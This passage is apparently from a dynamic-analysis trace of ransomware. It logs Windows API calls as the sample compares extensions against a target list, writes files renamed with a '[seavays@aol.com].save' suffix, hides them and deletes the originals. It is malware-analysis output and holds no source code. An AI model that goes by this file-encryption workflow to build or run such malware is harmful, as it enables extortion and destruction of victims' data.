returned -1 [0072.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0072.813] lstrlenW (lpString=".jpg") returned 4 [0072.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.093] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.093] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0073.719] GetLastError () returned 0x0 [0073.719] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x6e8, lpOverlapped=0x0) returned 1 [0073.721] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x6f0, lpOverlapped=0x0) returned 1 [0073.722] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.722] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.722] SetEndOfFile (hFile=0x310) returned 1 [0073.722] CloseHandle (hObject=0x310) returned 1 [0073.722] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.722] SetEndOfFile (hFile=0x2f8) returned 1 [0073.723] CloseHandle (hObject=0x2f8) returned 1 [0073.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0073.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0073.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0073.725] lstrlenW (lpString=".doc") returned 4 [0073.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.725] lstrlenW (lpString=".docx") returned 5 [0073.725] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.725] lstrlenW (lpString=".pdf") returned 4 [0073.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.725] lstrlenW (lpString=".xls") returned 4 [0073.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.725] lstrlenW (lpString=".xlsx") returned 5 [0073.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.725] lstrlenW (lpString=".ppt") returned 4 [0073.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0073.725] lstrlenW (lpString=".zip") returned 4 [0073.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.725] lstrlenW (lpString=".rar") returned 4 [0073.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.725] lstrlenW (lpString=".bz2") returned 4 [0073.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.725] lstrlenW (lpString=".7z") returned 3 [0073.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0073.725] lstrlenW (lpString=".dbf") returned 4 [0073.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0073.726] lstrlenW (lpString=".1cd") returned 4 [0073.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0073.726] lstrlenW (lpString=".jpg") returned 4 [0073.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.726] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.726] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0073.727] GetLastError () returned 0x0 [0073.727] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x439c, lpOverlapped=0x0) returned 1 [0073.729] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x43a0, lpOverlapped=0x0) returned 1 [0073.730] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.731] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.731] SetEndOfFile (hFile=0x310) returned 1 [0073.731] CloseHandle (hObject=0x310) returned 1 [0073.731] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.731] SetEndOfFile (hFile=0x2f8) returned 1 [0073.732] CloseHandle (hObject=0x2f8) returned 1 [0073.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0073.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0073.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0073.734] lstrlenW (lpString=".doc") returned 4 [0073.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.734] lstrlenW (lpString=".docx") returned 5 [0073.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.734] lstrlenW (lpString=".pdf") returned 4 [0073.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.734] lstrlenW (lpString=".xls") returned 4 [0073.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.734] lstrlenW (lpString=".xlsx") returned 5 [0073.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.734] lstrlenW (lpString=".ppt") returned 4 [0073.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0073.734] lstrlenW (lpString=".zip") returned 4 [0073.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.734] lstrlenW (lpString=".rar") returned 4 [0073.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.734] lstrlenW (lpString=".bz2") returned 4 [0073.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.734] lstrlenW (lpString=".7z") returned 3 [0073.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0073.734] lstrlenW (lpString=".dbf") returned 4 [0073.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0073.735] lstrlenW (lpString=".1cd") returned 4 [0073.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0073.735] lstrlenW (lpString=".jpg") returned 4 [0073.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.736] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.736] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0073.737] GetLastError () returned 0x0 [0073.737] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x1f08, lpOverlapped=0x0) returned 1 [0073.738] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x1f10, lpOverlapped=0x0) returned 1 [0073.740] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.740] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.740] SetEndOfFile (hFile=0x310) returned 1 [0073.740] CloseHandle (hObject=0x310) returned 1 [0073.740] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.740] SetEndOfFile (hFile=0x2f8) returned 1 [0073.741] CloseHandle (hObject=0x2f8) returned 1 [0073.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.742] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0073.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0073.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0073.742] lstrlenW (lpString=".doc") returned 4 [0073.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.742] lstrlenW (lpString=".docx") returned 5 [0073.742] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.743] lstrlenW (lpString=".pdf") returned 4 [0073.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.743] lstrlenW (lpString=".xls") returned 4 [0073.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.743] lstrlenW (lpString=".xlsx") returned 5 [0073.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.743] lstrlenW (lpString=".ppt") returned 4 [0073.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0073.743] lstrlenW (lpString=".zip") returned 4 [0073.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.743] lstrlenW (lpString=".rar") returned 4 [0073.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.743] lstrlenW (lpString=".bz2") returned 4 [0073.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.743] lstrlenW (lpString=".7z") returned 3 [0073.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0073.743] lstrlenW (lpString=".dbf") returned 4 [0073.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0073.743] lstrlenW (lpString=".1cd") returned 4 [0073.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0073.743] lstrlenW (lpString=".jpg") returned 4 [0073.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.745] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.745] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0073.746] GetLastError () returned 0x0 [0073.746] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x45ba, lpOverlapped=0x0) returned 1 [0073.748] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0073.750] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.750] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.750] SetEndOfFile (hFile=0x310) returned 1 [0073.750] CloseHandle (hObject=0x310) returned 1 [0073.750] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.751] SetEndOfFile (hFile=0x2f8) returned 1 [0073.752] CloseHandle (hObject=0x2f8) returned 1 [0073.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0073.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0073.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0073.753] lstrlenW (lpString=".doc") returned 4 [0073.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.753] lstrlenW (lpString=".docx") returned 5 [0073.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.753] lstrlenW (lpString=".pdf") returned 4 [0073.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.753] lstrlenW (lpString=".xls") returned 4 [0073.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.753] lstrlenW (lpString=".xlsx") returned 5 [0073.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.753] lstrlenW (lpString=".ppt") returned 4 [0073.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0073.753] lstrlenW (lpString=".zip") returned 4 [0073.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.753] lstrlenW (lpString=".rar") returned 4 [0073.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.753] lstrlenW (lpString=".bz2") returned 4 [0073.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.754] lstrlenW (lpString=".7z") returned 3 [0073.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0073.754] lstrlenW (lpString=".dbf") returned 4 [0073.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0073.754] lstrlenW (lpString=".1cd") returned 4 [0073.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0073.754] lstrlenW (lpString=".jpg") returned 4 [0073.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.755] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.755] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0073.756] GetLastError () returned 0x0 [0073.756] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x2eda, lpOverlapped=0x0) returned 1 [0074.147] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x2ee0, lpOverlapped=0x0) returned 1 [0074.148] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.148] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.148] SetEndOfFile (hFile=0x310) returned 1 [0074.587] CloseHandle (hObject=0x310) returned 1 [0074.587] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.587] SetEndOfFile (hFile=0x2f8) returned 1 [0074.588] CloseHandle (hObject=0x2f8) returned 1 [0074.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0074.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0074.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0074.589] lstrlenW (lpString=".doc") returned 4 [0074.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.589] lstrlenW (lpString=".docx") returned 5 [0074.589] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.589] lstrlenW (lpString=".pdf") returned 4 [0074.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.589] lstrlenW (lpString=".xls") returned 4 [0074.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.589] lstrlenW (lpString=".xlsx") returned 5 [0074.589] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.589] lstrlenW (lpString=".ppt") returned 4 [0074.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0074.589] lstrlenW (lpString=".zip") returned 4 [0074.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.589] lstrlenW (lpString=".rar") returned 4 [0074.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.589] lstrlenW (lpString=".bz2") returned 4 [0074.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.590] lstrlenW (lpString=".7z") returned 3 [0074.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0074.590] lstrlenW (lpString=".dbf") returned 4 [0074.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0074.590] lstrlenW (lpString=".1cd") returned 4 [0074.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0074.590] lstrlenW (lpString=".jpg") returned 4 [0074.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.590] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.590] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0074.591] GetLastError () returned 0x0 [0074.591] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x5c0, lpOverlapped=0x0) returned 1 [0074.592] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x5d0, lpOverlapped=0x0) returned 1 [0074.593] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.593] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, 